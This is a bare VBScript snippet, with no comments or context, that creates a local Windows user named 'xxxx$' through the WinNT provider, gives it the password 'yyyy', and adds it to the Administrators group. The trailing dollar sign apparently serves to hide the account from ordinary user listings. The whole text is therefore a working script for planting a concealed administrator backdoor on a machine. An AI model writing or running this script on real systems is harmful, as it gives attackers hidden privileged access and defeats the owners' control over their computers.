set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","xxxx$")
od.SetPassword "yyyy"
od.SetInfo
Set of=GetObject(os&"/xxxx$",user)
oe.add os&"/xxxx$"